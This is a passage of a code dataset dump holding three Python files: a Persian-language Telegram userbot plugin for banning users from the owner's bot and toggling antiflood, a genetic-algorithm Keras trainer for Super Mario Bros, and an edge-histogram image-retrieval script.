نمی توانم کاربری برای بن پیدا کنم`\", reply_to=reply_to\n        )\n    if not reason:\n        return await event.client.send_message(\n            event.chat_id, \"`برای بن کردن کاربر ابتدا دلیل ارائه کنید`\", reply_to=reply_to\n        )\n    try:\n        user = await event.client.get_entity(user_id)\n        user_id = user.id\n    except Exception as e:\n        return await event.reply(f\"**Error:**\\n`{e}`\")\n    if user_id == Config.OWNER_ID:\n        return await event.reply(\"من نمی توانم شما را ممنوع کنم استاد\")\n    check = check_is_black_list(user.id)\n    if check:\n        return await event.client.send_message(\n            event.chat_id,\n            f\"#Already_banned\\\n            \\nکاربر از قبل در لیست کاربران بن وجود دارد.\\\n            \\n**دلیل بن کردن ربات:** `{check.reason}`\\\n            \\n**تاریخ:** `{check.date}`.\",\n        )\n    msg = await ban_user_from_bot(user, reason, reply_to)\n    await event.reply(msg)\n\n\n@catub.bot_cmd(pattern=\"^/unban(?:\\\\s|$)([\\\\s\\\\S]*)\", from_users=Config.OWNER_ID)\nasync def ban_botpms(event):\n    user_id, reason = await get_user_and_reason(event)\n    reply_to = await reply_id(event)\n    if not user_id:\n        return await event.client.send_message(\n            event.chat_id, \"`من نمی توانم کاربری برای لغو بن پیدا کنم`\", reply_to=reply_to\n        )\n    try:\n        user = await event.client.get_entity(user_id)\n        user_id = user.id\n    except Exception as e:\n        return await event.reply(f\"**Error:**\\n`{e}`\")\n    check = check_is_black_list(user.id)\n    if not check:\n        return await event.client.send_message(\n            event.chat_id,\n            f\"#User_Not_Banned\\\n            \\n👤 {_format.mentionuser(user.first_name , user.id)} در لیست کاربران بن وجود ندارد.\",\n        )\n    msg = await unban_user_from_bot(user, reason, reply_to)\n    await event.reply(msg)\n\n\n@catub.cat_cmd(\n    pattern=\"bblist$\",\n    command=(\"bblist\", plugin_category),\n    info={\n        \"header\": \"To get users list who are banned in bot.\",\n        \"description\": \"To get list of users who are banned in bot.\",\n        \"usage\": \"{tr}bblist\",\n    },\n)\nasync def ban_starters(event):\n    \"To get list of users who are banned in bot.\"\n    ulist = get_all_bl_users()\n    if len(ulist) == 0:\n        return await edit_delete(event, \"`هنوز کسی در ربات شما بن نشده است.`\")\n    msg = \"**لیست کاربرانی که در ربات شما بن شده اند عبارتند از:\\n\\n**\"\n    for user in ulist:\n        msg += f\"• 👤 {_format.mentionuser(user.first_name , user.chat_id)}\\n**ایدی:** `{user.chat_id}`\\n**نام:** @{user.username}\\n**تاریخ: **__{user.date}__\\n**دلیل:** __{user.reason}__\\n\\n\"\n    await edit_or_reply(event, msg)\n\n\n@catub.cat_cmd(\n    pattern=\"bot_antif (on|off)$\",\n    command=(\"bot_antif\", plugin_category),\n    info={\n        \"header\": \"To enable or disable bot antiflood.\",\n        \"description\": \"if it was turned on then after 10 messages or 10 edits of same messages in less time then your bot auto loacks them.\",\n        \"usage\": [\n            \"{tr}bot_antif on\",\n            \"{tr}bot_antif off\",\n        ],\n    },\n)\nasync def ban_antiflood(event):\n    \"To enable or disable bot antiflood.\"\n    input_str = event.pattern_match.group(1)\n    if input_str == \"on\":\n        if gvarstatus(\"bot_antif\") is not None:\n            return await edit_delete(event, \"`قبلا آنتی اسپم فعال شده است`\")\n        addgvar(\"bot_antif\", True)\n        await edit_delete(event, \"`آنتی اسپم فعال شد`\")\n    elif input_str == \"off\":\n        if gvarstatus(\"bot_antif\") is None:\n            return await edit_delete(event, \"`قبلا آنتی اسپم غیرفعال شده است`\")\n        delgvar(\"bot_antif\")\n        await edit_delete(event, \"`آنتی اسپم غیرفعال شد`\")\n", "repo_name": "arbabmahdi/cat_good", "sub_path": "userbot/assistant/botcontrols.py", "file_name": "botcontrols.py", "file_ext": "py", "file_size_in_byte": 10775, "program_lang": "python", "lang": "fa", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "core.logger.logging.getLogger", "line_number": 24, "usage_type": "call"}, {"api_name": "core.logger.logging", "line_number": 24, "usage_type": "name"}, {"api_name": "Config.Config.TG_BOT_USERNAME", "line_number": 27, "usage_type": "attribute"}, {"api_name": "Config.Config", "line_number": 27, "usage_type": "name"}, {"api_name": "Config.Config.COMMAND_HAND_LER", "line_number": 28, "usage_type": "attribute"}, {"api_name": "Config.Config", "line_number": 28, "usage_type": "name"}, {"api_name": "userbot.catub.bot_cmd", "line_number": 31, "usage_type": "call"}, {"api_name": "userbot.catub", "line_number": 31, "usage_type": "name"}, {"api_name": "Config.Config.OWNER_ID", "line_number": 31, "usage_type": "attribute"}, {"api_name": "Config.Config", "line_number": 31, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 61, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 61, "usage_type": "name"}, {"api_name": "sql_helper.bot_starters.get_all_starters", "line_number": 65, "usage_type": "call"}, {"api_name": "sql_helper.bot_starters.get_all_starters", "line_number": 68, "usage_type": "call"}, {"api_name": "asyncio.sleep", "line_number": 77, "usage_type": "call"}, {"api_name": "telethon.errors.FloodWaitError", "line_number": 78, "usage_type": "name"}, {"api_name": "asyncio.sleep", "line_number": 79, "usage_type": "call"}, {"api_name": "telethon.errors.BadRequestError", "line_number": 80, "usage_type": "name"}, {"api_name": "telethon.errors.ForbiddenError", "line_number": 80, "usage_type": "name"}, {"api_name": "sql_helper.bot_starters.del_starter_from_db", "line_number": 81, "usage_type": "call"}, {"api_name": "botmanagers.progress_str", "line_number": 95, "usage_type": "call"}, {"api_name": "telethon.errors.FloodWaitError", "line_number": 103, "usage_type": "name"}, {"api_name": "asyncio.sleep", "line_number": 104, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 105, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 105, "usage_type": "name"}, {"api_name": "helpers.time_formatter", "line_number": 110, "usage_type": "call"}, {"api_name": "userbot.catub.bot_cmd", "line_number": 56, "usage_type": "call"}, {"api_name": "userbot.catub", "line_number": 56, "usage_type": "name"}, {"api_name": "Config.Config.OWNER_ID", "line_number": 56, "usage_type": "attribute"}, {"api_name": "Config.Config", "line_number": 56, "usage_type": "name"}, {"api_name": "sql_helper.bot_starters.get_all_starters", "line_number": 126, "usage_type": "call"}, {"api_name": "core.managers.edit_delete", "line_number": 128, "usage_type": "call"}, {"api_name": "helpers.utils._format.mentionuser", "line_number": 131, "usage_type": "call"}, {"api_name": "helpers.utils._format", "line_number": 131, "usage_type": "name"}, {"api_name": "core.managers.edit_or_reply", "line_number": 132, "usage_type": "call"}, {"api_name": "userbot.catub.cat_cmd", "line_number": 115, "usage_type": "call"}, {"api_name": "userbot.catub", "line_number": 115, "usage_type": "name"}, {"api_name": "botmanagers.get_user_and_reason", "line_number": 137, "usage_type": "call"}, {"api_name": "helpers.reply_id", "line_number": 138, "usage_type": "call"}, {"api_name": "Config.Config.OWNER_ID", "line_number": 152, "usage_type": "attribute"}, {"api_name": "Config.Config", "line_number": 152, "usage_type": "name"}, {"api_name": "sql_helper.bot_blacklists.check_is_black_list", "line_number": 154, "usage_type": "call"}, {"api_name": "botmanagers.ban_user_from_bot", "line_number": 163, "usage_type": "call"}, {"api_name": "userbot.catub.bot_cmd", "line_number": 135, "usage_type": "call"}, {"api_name": "userbot.catub", "line_number": 135, "usage_type": "name"}, {"api_name": "Config.Config.OWNER_ID", "line_number": 135, "usage_type": "attribute"}, {"api_name": "Config.Config", "line_number": 135, "usage_type": "name"}, {"api_name": "botmanagers.get_user_and_reason", "line_number": 169, "usage_type": "call"}, {"api_name": "helpers.reply_id", "line_number": 170, "usage_type": "call"}, {"api_name": "sql_helper.bot_blacklists.check_is_black_list", "line_number": 180, "usage_type": "call"}, {"api_name": "helpers.utils._format.mentionuser", "line_number": 185, "usage_type": "call"}, {"api_name": "helpers.utils._format", "line_number": 185, "usage_type": "name"}, {"api_name": "botmanagers.unban_user_from_bot", "line_number": 187, "usage_type": "call"}, {"api_name": "userbot.catub.bot_cmd", "line_number": 167, "usage_type": "call"}, {"api_name": "userbot.catub", "line_number": 167, "usage_type": "name"}, {"api_name": "Config.Config.OWNER_ID", "line_number": 167, "usage_type": "attribute"}, {"api_name": "Config.Config", "line_number": 167, "usage_type": "name"}, {"api_name": "sql_helper.bot_blacklists.get_all_bl_users", "line_number": 202, "usage_type": "call"}, {"api_name": "core.managers.edit_delete", "line_number": 204, "usage_type": "call"}, {"api_name": "helpers.utils._format.mentionuser", "line_number": 207, "usage_type": "call"}, {"api_name": "helpers.utils._format", "line_number": 207, "usage_type": "name"}, {"api_name": "core.managers.edit_or_reply", "line_number": 208, "usage_type": "call"}, {"api_name": "userbot.catub.cat_cmd", "line_number": 191, "usage_type": "call"}, {"api_name": "userbot.catub", "line_number": 191, "usage_type": "name"}, {"api_name": "sql_helper.globals.gvarstatus", "line_number": 227, "usage_type": "call"}, {"api_name": "core.managers.edit_delete", "line_number": 228, "usage_type": "call"}, {"api_name": "sql_helper.globals.addgvar", "line_number": 229, "usage_type": "call"}, {"api_name": "core.managers.edit_delete", "line_number": 230, "usage_type": "call"}, {"api_name": "sql_helper.globals.gvarstatus", "line_number": 232, "usage_type": "call"}, {"api_name": "core.managers.edit_delete", "line_number": 233, "usage_type": "call"}, {"api_name": "sql_helper.globals.delgvar", "line_number": 234, "usage_type": "call"}, {"api_name": "core.managers.edit_delete", "line_number": 235, "usage_type": "call"}, {"api_name": "userbot.catub.cat_cmd", "line_number": 211, "usage_type": "call"}, {"api_name": "userbot.catub", "line_number": 211, "usage_type": "name"}]}
{"seq_id": "72258452711", "text": "import os\nfrom re import S\n\nfrom numpy.lib.function_base import select\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'\n\nfrom nes_py.wrappers import JoypadSpace\nimport gym_super_mario_bros\nfrom gym_super_mario_bros.actions import RIGHT_ONLY\nfrom wrappers import wrapper\n# from gym import wrappers\n\nenv = gym_super_mario_bros.make('SuperMarioBros-v0')\n# env = wrappers.Monitor(env, \"./gym-results\", force=True)\nenv = JoypadSpace(env, RIGHT_ONLY)\nenv = wrapper(env)\n\ninitial_state = env.reset()\nn_actions = env.action_space.n\n\nimport numpy as np\nimport random\nimport keras as k\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Flatten, Dropout, Conv2D, MaxPooling2D\n\nimport logging\nlog_file = 'log.log'\nlogging.basicConfig(filename=log_file, level=logging.INFO, filemode='w')\n\ndef _log(message, level=logging.INFO):\n    print(message)\n    if level == logging.INFO:\n        logging.info(message)\n    else:\n        logging.error(message)\n\n# default env shape is 240x256x3 but with wrapper that changes\n# to 84x84x4\ndef get_model(input_shape = (84,84,4), actions=n_actions):\n    # model = Sequential([\n    #     Dense(32, input_shape=input_shape, activation='relu'),\n    #     Dropout(0.02),\n    #     Dense(16, activation='relu'),\n    #     Dropout(0.02),\n    #     Flatten(),\n    #     Dense(actions, activation = 'softmax')\n    # ])\n    model = Sequential([\n        Conv2D(32, (3,3), input_shape=input_shape, activation='relu'),\n        MaxPooling2D((2,2)),\n        Conv2D(64, (3,3), activation='relu'),\n        MaxPooling2D((2,2)),\n        Conv2D(128, (3,3), activation='relu'),\n        MaxPooling2D((2,2)),\n        Flatten(),\n        Dense(512, activation='relu'),\n        Dense(actions, activation='softmax')\n    ])\n    model.compile()\n    return model\n\ndef evaluate(model):\n    state = env.reset()\n    total_reward = 0\n    time_wasting_count = 0\n    while True:\n        action = np.argmax(model.predict(np.array([state])))\n        state, reward, done, info = env.step(action)\n        total_reward += reward\n        # print(f\"this step {action} {reward}, {total_reward}, {done}\")\n        \n        if info['life'] < 2:\n            done = True\n        else:\n            if reward == -1:\n                time_wasting_count += 1\n            elif reward != 0:\n                time_wasting_count = 0\n            \n            if time_wasting_count > 20:\n                done = True\n                total_reward -= info['time']\n\n        # env.render()\n        if done:\n            # total_reward += _['score']\n            print(f'this run {total_reward}, {done}')\n            info['reward'] = reward\n            print(info)\n            env.reset()\n            break\n    return total_reward\n\n\ndef selection(models, evaluations, select_num, select_num2=None, gen=0):\n    # find out the model ranks based on evaluation\n    model_ranks = np.argsort(evaluations)[::-1]\n    # sort evaluations\n    evaluations = [evaluations[i] for i in model_ranks]\n    _log(f'gen{gen} performances')\n    _log(evaluations)\n    # find and store best unique models\n    best_unique = []\n    best_unique_evals = []\n    rest = []\n    for i in model_ranks:\n        if len(best_unique) < select_num and evaluations[i] not in best_unique_evals:\n            best_unique.append(models[i])\n            best_unique_evals.append(evaluations[i])\n        else:\n            rest.append(models[i])\n    # if there arern't enough unique models add good ones from the rest\n    more_best_req =  select_num - len(best_unique)\n    best_set = best_unique+rest[:more_best_req]\n    # archive best model for each gen\n    best_set[0].save(f'./cnngamodels/gen{gen}')\n    \n    if select_num2:\n        return best_set, rest[more_best_req:more_best_req+select_num2]\n    else:\n        return best_set\n\ndef unflatten(array, shapes):\n    un_array = []\n    i = 0\n    for shape in shapes:\n        size = np.product(shape)\n        un_array.append(np.array(array[i:i+size]).reshape(shape))\n        i += size\n    return un_array\n\n\ndef crossover(models, n_children = 2):\n    children = []\n    for _ in range(n_children // 2): \n        p1 = random.choice(models)\n        p2 = random.choice(models)\n\n        p1_weights = p1.get_weights()\n        p2_weights = p2.get_weights()\n\n        shapes = [w.shape for w in p1_weights]\n\n        genes1 = np.concatenate([w.flatten() for w in p1_weights])\n        genes2 = np.concatenate([w.flatten() for w in p2_weights])\n\n        split = random.randint(0, len(genes1) - 1)\n\n        child1 = get_model()\n        child2 = get_model()\n\n        child1_genes = np.array(genes1[0:split].tolist() + genes2[split:].tolist())\n        child2_genes = np.array(genes2[0:split].tolist() + genes1[split:].tolist())\n\n        child1.set_weights(unflatten(child1_genes, shapes))\n        child2.set_weights(unflatten(child2_genes, shapes))\n\n        children.append(child1)\n        children.append(child2)\n\n    return children\n    # models.extend(children)\n    # return models\n\n\ndef mutate(model, mutate_ratio=None):\n    new_model = k.models.clone_model(model)\n    weights = model.get_weights()\n    shapes = [w.shape for w in weights]\n    flat_weights = np.concatenate([w.flatten() for w in weights])\n    for i in range(int(len(flat_weights)*mutate_ratio)) if mutate_ratio else range(random.randint(0, len(flat_weights) // 4)):\n        mutate_i = random.randint(0, len(flat_weights) - 1)\n    flat_weights[mutate_i] = np.random.randn()\n    new_weights = unflatten(flat_weights, shapes)\n    new_model.set_weights(new_weights)\n    return new_model\n\ndef mutate_simple (model, prob=0.25):\n    new_model = k.models.clone_model(model)\n    if (random.uniform(0.0,1.0) < prob):\n        weights = model.get_weights()\n        shapes = [w.shape for w in weights]\n        flat_weights = np.concatenate([w.flatten() for w in weights])\n        mutate_i = random.randint(0, len(flat_weights) - 1)\n        flat_weights[mutate_i] = np.random.randn()\n        new_weights = unflatten(flat_weights, shapes)\n        new_model.set_weights(new_weights)\n    return new_model\n\n\n\nGENERATIONS = 100 # number of generations to run\nPOPULATION = 50 # number of networks in a generation\nSELECT_BEST = 10 # number of best networks to select\nSELECT_SECOND_BEST = 20 # number of lesser networks to preserve (and mutate)\nSTART_WITH_MODEL = './backupmodels/v4.1' # None if starting from scratch\n\nif START_WITH_MODEL:\n    base_model = k.models.load_model(START_WITH_MODEL)\n    models = [ base_model ] + [ mutate_simple(base_model) for _ in range(POPULATION - 1)]\nelse:\n    models = [ get_model() for _ in range(POPULATION) ]\n\nevaluations = None\nfor gen in range(0, GENERATIONS):\n    print(f\"========================  Welcome to gen-{gen}  ==============================\")\n    # evaluate the models of current gen\n    if evaluations:\n        evaluations = evaluations[:SELECT_BEST] + [evaluate(model) for model in models[SELECT_BEST:]]\n    else:\n        evaluations = [evaluate(model) for model in models]\n    ##### for just using one best set with limited mutation\n    # get the best set of models to breed\n    best_set = selection(models, evaluations, SELECT_BEST, gen=gen)\n    # breed the best models with crossovers\n    breeded_models = crossover(best_set, n_children = POPULATION - len(best_set))\n    # possibly mutate the models\n    models = best_set + [mutate_simple(model) for model in breeded_models]\n\n    ##### for using best and second best set\n    # # get the best set of models to breed\n    # best_set, second_best_set = selection(models_sorted, evaluations, SELECT_BEST, SELECT_SECOND_BEST, gen)\n    # # breed the best models with crossovers\n    # breeded_models = crossover(models, n_children = POPULATION - len(best_set) - len(second_best_set))\n    # # possibly mutate the models\n    # models = best_set + [mutate(model) for model in breeded_models + second_best_set]\n\n# evaluate the final generation as before\nevaluations = [evaluate(model) for model in models]\nmodel_ranks = np.argsort(evaluations)[::-1]\n_log(f'gen{GENERATIONS} performances')\n_log([evaluations[i] for i in model_ranks])\nmodels[model_ranks[0]].save(f'./cnngamodels/gen{GENERATIONS}')\n\nenv.close()\n", "repo_name": "banmedo/mAIrio", "sub_path": "mAIrio.py", "file_name": "mAIrio.py", "file_ext": "py", "file_size_in_byte": 8100, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.environ", "line_number": 5, "usage_type": "attribute"}, {"api_name": "gym_super_mario_bros.make", "line_number": 13, "usage_type": "call"}, {"api_name": "nes_py.wrappers.JoypadSpace", "line_number": 15, "usage_type": "call"}, {"api_name": "gym_super_mario_bros.actions.RIGHT_ONLY", "line_number": 15, "usage_type": "argument"}, {"api_name": "wrappers.wrapper", "line_number": 16, "usage_type": "call"}, {"api_name": "logging.basicConfig", "line_number": 29, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 29, "usage_type": "attribute"}, {"api_name": "logging.INFO", "line_number": 31, "usage_type": "attribute"}, {"api_name": "logging.INFO", "line_number": 33, "usage_type": "attribute"}, {"api_name": "logging.info", "line_number": 34, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 36, "usage_type": "call"}, {"api_name": "keras.models.Sequential", "line_number": 49, "usage_type": "call"}, {"api_name": "keras.layers.Conv2D", "line_number": 50, "usage_type": "call"}, {"api_name": "keras.layers.MaxPooling2D", "line_number": 51, "usage_type": "call"}, {"api_name": "keras.layers.Conv2D", "line_number": 52, "usage_type": "call"}, {"api_name": "keras.layers.MaxPooling2D", "line_number": 53, "usage_type": "call"}, {"api_name": "keras.layers.Conv2D", "line_number": 54, "usage_type": "call"}, {"api_name": "keras.layers.MaxPooling2D", "line_number": 55, "usage_type": "call"}, {"api_name": "keras.layers.Flatten", "line_number": 56, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 57, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 68, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 68, "usage_type": "call"}, {"api_name": "numpy.argsort", "line_number": 98, "usage_type": "call"}, {"api_name": "numpy.product", "line_number": 128, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 129, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 137, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 138, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 145, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 146, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 148, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 153, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 154, "usage_type": "call"}, {"api_name": "keras.models.clone_model", "line_number": 168, "usage_type": "call"}, {"api_name": "keras.models", "line_number": 168, "usage_type": "attribute"}, {"api_name": "numpy.concatenate", "line_number": 171, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 172, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 173, "usage_type": "call"}, {"api_name": "numpy.random.randn", "line_number": 174, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 174, "usage_type": "attribute"}, {"api_name": "keras.models.clone_model", "line_number": 180, "usage_type": "call"}, {"api_name": "keras.models", "line_number": 180, "usage_type": "attribute"}, {"api_name": "random.uniform", "line_number": 181, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 184, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 185, "usage_type": "call"}, {"api_name": "numpy.random.randn", "line_number": 186, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 186, "usage_type": "attribute"}, {"api_name": "keras.models.load_model", "line_number": 200, "usage_type": "call"}, {"api_name": "keras.models", "line_number": 200, "usage_type": "attribute"}, {"api_name": "numpy.argsort", "line_number": 231, "usage_type": "call"}]}
{"seq_id": "13706243233", "text": "import os\nimport cv2\nimport pickle\nimport argparse\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nfrom tqdm import tqdm\n\n\n\"\"\"\nDOCS:\n    - https://github.com/jiyangzhao/pyehd/blob/main/pyehd.py\n    - https://www.youtube.com/watch?v=Z7NlH4HC0dw&ab_channel=ExploringTechnologies\n    - https://www.section.io/engineering-education/how-to-use-edge-histogram-descriptor-to-retrieve-images-in-matlab/\n\n    - \"P:/cbir/DOCUMENTS/documents/Descriptors_of_Mpeg7/Ycrcb_Color_histogram_and_EHD.pdf\"\n    - \"P:/cbir/DOCUMENTS/documents/Descriptors_of_Mpeg7/Wavelet_features_CLD_EHD_of_Mpeg7/41800235.pdf\"\n    - \"P:/cbir/DOCUMENTS/documents/Descriptors_of_Mpeg7/CLD_EHD.pdf\"\n    - \"P:/cbir/DOCUMENTS/documents/Descriptors_of_Mpeg7/Color_and_Texture_Descriptors.pdf\"\n\"\"\"\n\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--store_database', type=bool, default=False, help=\"store database or search image\")\nparser.add_argument('--query_image_path', type=str, default='', help=\"store database or search image\")\nargs = parser.parse_args()\n\nclass EHDExtractor:\n    def __init__(self):\n        pass\n\n    # function to get EHD vector\n    def extract_ehd(self, image_path):\n        image = cv2.imread(image_path)\n        image = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY) # convert to gray\n        h, w = np.shape(image) # get the shape of image\n\n        M = 4 * np.ceil(h/4) \n        N = 4 * np.ceil(w/4)\n        image = np.reshape(image,(int(M),int(N))) # Making image dim. divisible completely by 4\n        AllBins = np.zeros((17, 5)) # initializing Bins\n        p = 0\n        L = 0\n        for _ in range(4):\n            K = 0\n            for _ in range(4):\n                block = image[K:K+int(M/4), L:L+int(N/4)] # Extracting (M/4,N/4) block\n                AllBins[p,:] = self.getbins(np.double(block)) \n                K = K + int(M/4)\n                p = p + 1\n            L = L + int(N/4)\n        GlobalBin = np.mean(AllBins[:-1, :], axis=0) # getting global Bin\n        AllBins[16,:] = GlobalBin\n        # ehd = np.reshape(AllBins,[1,85])\n        ehd = np.reshape(AllBins, -1)\n        return ehd\n\n\n    # function for getting Bin values for each block\n    def getbins(self, image_block):\n        M, N = image_block.shape\n        M = 2 * np.ceil(M/2)\n        N = 2 * np.ceil(N/2)\n        # print(M)\n        # print(N)\n        image_block = np.reshape(image_block,(int(M),int(N))) # Making block dimension divisible by 2\n        bins = np.zeros((1,5)) # initialize Bin\n        \"\"\"Operations, define constant\"\"\"\n        V = np.array([[1,-1],[1,-1]]) # vertical edge operator\n        H = np.array([[1,1],[-1,-1]]) # horizontal edge operator\n        D45 = np.array([[1.414,0],[0,-1.414]])# diagonal 45 edge operator\n        D135 = np.array([[0,1.414],[-1.414,0]]) # diagonal 135 edge operator\n        Isot = np.array([[2,-2],[-2,2]]) # isotropic edge operator\n        T = 50 # threshold\n        \n        nobr = int(M/2) # loop limits\n        nobc = int(N/2) # loop limits\n        L = 0\n\n        \"\"\"loops of operating\"\"\"\n        for _ in range(nobc):\n            K = 0\n            for _ in range(nobr):\n                block = image_block[K:K+2, L:L+2] # Extracting 2x2 block\n                pv = np.abs(np.sum(block*V)) # apply operators\n                ph = np.abs(np.sum(block*H))\n                pd45 = np.abs(np.sum(block*D45))\n                pd135 = np.abs(np.sum(block*D135))\n                pisot = np.abs(np.sum(block*Isot))\n                parray = [pv,ph,pd45,pd135,pisot]\n                index = np.argmax(parray) # get the index of max value\n                value = parray[index] # get the max value\n                # print('value: '+str(value))\n                if value >= T:\n                    bins[0,index]=bins[0,index]+1 # update bins values\n                K = K+2\n            L = L+2\n        # bins = bins / (nobr * nobc)\n        return bins\n\n\n    def store_database(self, data_folder):\n        features_db = []\n        paths_db = []\n\n        \"\"\"\n        COREL DATASET\n        \"\"\"\n        for sub_folder in os.listdir(data_folder):\n            print(f\"=====> {sub_folder}\")\n            sub_folder_path = data_folder + sub_folder + '/'\n            for file_name in tqdm(os.listdir(sub_folder_path)):\n                if file_name.endswith('.jpg'):\n                    image_path = sub_folder_path + file_name\n                    features = self.extract_ehd(image_path=image_path)\n                    features_db.append(features)\n                    paths_db.append(image_path)\n\n        # \"\"\"\n        # WANG DATASET\n        # \"\"\"\n        # for file_name in tqdm(os.listdir(data_folder)):\n        #     if file_name.endswith('.jpg'):\n        #         image_path = data_folder + file_name\n        #         features = extract_ehd(image_path=image_path)\n        #         features_db.append(features)\n        #         paths_db.append(image_path)\n        \n        pickle.dump(features_db, open(\"./database/features_Gray_CorelDataset.pkl\", 'wb'))\n        pickle.dump(paths_db, open(\"./database/paths_Gray_CorelDataset.pkl\", 'wb'))\n        print(\"STORE DATABASE SUCCESSFULLY!\")\n\n\n    def search_image(self, query_image_path, features_db, paths_db):\n        features_db = pickle.load(open(features_db, 'rb'))\n        paths_db = pickle.load(open(paths_db, 'rb'))\n        query_image_features = self.extract_ehd(image_path=query_image_path)\n        \n        distances = np.linalg.norm(features_db - query_image_features, axis=1)\n        K = 50\n        indexs = np.argsort(distances)[:K]\n\n        nearest_images = [(features_db[id], paths_db[id], distances[id]) for id in indexs]\n\n        # grid_size = int(math.sqrt(K))\n        grid_row = 5\n        grid_col = 10\n        fig, axes = plt.subplots(grid_row, grid_col, figsize=(12, 6))\n        k = 0\n        for i in range(grid_row):\n            for j in range(grid_col):\n                if i == 0 and j == 0:\n                    axes[i, j].set_title(\"Query\")\n                    image = cv2.imread(query_image_path)\n                    image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)\n                    axes[i, j].imshow(image)\n                    axes[i, j].axis('off')\n                    k += 1\n                else:\n                    features_vector, file_path, distance = nearest_images[k-1]\n                    # axes[i, j].set_title(distance)\n                    image = cv2.imread(file_path)\n                    image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)\n                    axes[i, j].imshow(image)\n                    axes[i, j].axis('off')\n                    k += 1\n        plt.tight_layout()\n        plt.show()\n\n\nif __name__ == '__main__':\n    # DATA_FOLDER = 'P:/cbir/DATA/wang/image.orig/'\n    DATA_FOLDER = 'P:/cbir/DATA/corel/CorelDB/'\n\n    create_db = args.store_database\n    query_image_path = args.query_image_path\n    \n    runner = EHDExtractor()\n\n    if create_db:\n        \"\"\"\n        Store database\n        \"\"\"\n        runner.store_database(data_folder=DATA_FOLDER)\n    else:\n        \"\"\"\n        Search image\n        \"\"\"\n        features_db_file = \"./database/features_Gray_CorelDataset.pkl\"\n        file_path_db_file = \"./database/paths_Gray_CorelDataset.pkl\"\n        nearest_images = runner.search_image(query_image_path=query_image_path, features_db=features_db_file, paths_db=file_path_db_file)", "repo_name": "HoangPham3003/Python_CBIR", "sub_path": "feature_extraction/texture_features/edge_histogram_descriptor/ehd.py", "file_name": "ehd.py", "file_ext": "py", "file_size_in_byte": 7277, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 24, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 35, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 36, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 36, "usage_type": "attribute"}, {"api_name": "numpy.shape", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.ceil", "line_number": 39, "usage_type": "call"}, {"api_name": "numpy.ceil", "line_number": 40, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 41, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 42, "usage_type": "call"}, {"api_name": "numpy.double", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 53, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.ceil", "line_number": 63, "usage_type": "call"}, {"api_name": "numpy.ceil", "line_number": 64, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 67, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 68, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 70, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 71, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 72, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 73, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 74, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 86, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 86, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 87, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 87, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 88, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 88, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 89, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 89, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 90, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 90, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 92, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 110, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 113, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 113, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 130, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 131, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 136, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 137, "usage_type": "call"}, {"api_name": 